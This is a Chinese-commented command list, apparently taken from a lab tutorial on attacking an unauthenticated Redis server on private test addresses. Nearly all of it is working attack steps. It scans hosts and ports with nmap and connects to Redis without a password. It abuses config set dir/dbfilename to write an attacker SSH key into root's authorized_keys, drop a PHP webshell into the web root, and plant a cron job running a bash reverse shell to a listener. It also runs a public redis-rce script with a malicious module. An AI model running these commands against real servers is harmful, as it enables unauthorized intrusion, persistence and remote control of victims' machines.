wget http://download.redis.io/releases/redis-2.8.17.tar.gz #下载redis-2.8.17版本
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进入redis目录
make #编译
make test #检测之前进行的make编译步骤中遗漏的错误,确保服务的编译正常
./redis-server #开启redis服务
nmap -sP 192.168.233.0/24 #利用nmap探测存活主机
nmap -sV 192.168.233.130 -p 1-65535 #探测靶机开放端口
redis-cli -h 192.168.233.130 #利用redis-cli远程连接工具对靶机redis服务进行无密码连接
Info #查看关于Redis服务器的各种信息和统计数值
ssh-keygen -t rsa#在攻击机中生成ssh公钥和私钥文件,密码为空
(echo -e '\n\n'; cat id_rsa.pub; echo -e '\n\n') > 1.txt #将生成的公钥保存到1.txt
cat 1.txt | redis-cli -h 192.168.233.130 -x set crack #写入1.txt文件,对应的键名为crack,键值为1.txt中的内容
键名可以是其他字符串,不一定需要写成crack
config set dir /root/.ssh/ #用于将Redis数据库备份文件的存放目录修改为/root/.ssh/
config set dbfilename authorized_keys#设置上传公钥的备份文件名字为authorized_keys
config get dbfilename#获取数据库文件名(注意是get)
Save#保存
ssh -i id_rsa root@192.168.233.130#在攻击机使用ssh免密登录靶机
config set dir /var/www/html/ #设置路径为/var/www/html/
config set dbfilename shell.php #设置文件名shell.php
set shell '\r\n\r\n\r\n\r\n' #用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行,另外shell可以为任意字符串
save #保存
python3 -m http.server #利用Python启动http服务
1.默认redis写文件后是644的权限,但ubuntu要求执行定时任务件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错,而Centos的定时任务文件权限644也能执行
2.redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
3.两个系统的定时任务文件目录不同
nc -nvlp 6666 #在攻击机上开启监听
config set dir /var/spool/cron #设置路径
set x '\n* * * * * bash -i >& /dev/tcp/192.168.233.137/6666 0>&1\n'#开启一个交互式的shell,将标准输出利用TCP连接发送给远程主机(另外x可以为任意字符串)
config set dbfilename root #设置文件名为root
save#保存
docker-compose up -d #开启环境
https://github.com/Ridter/redis-rce
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
python3 redis-rce.py -r 192.168.233.130 -p 6379 -L 192.168.233.137 -f module.so #执行脚本(-p为本机端口)
联系客服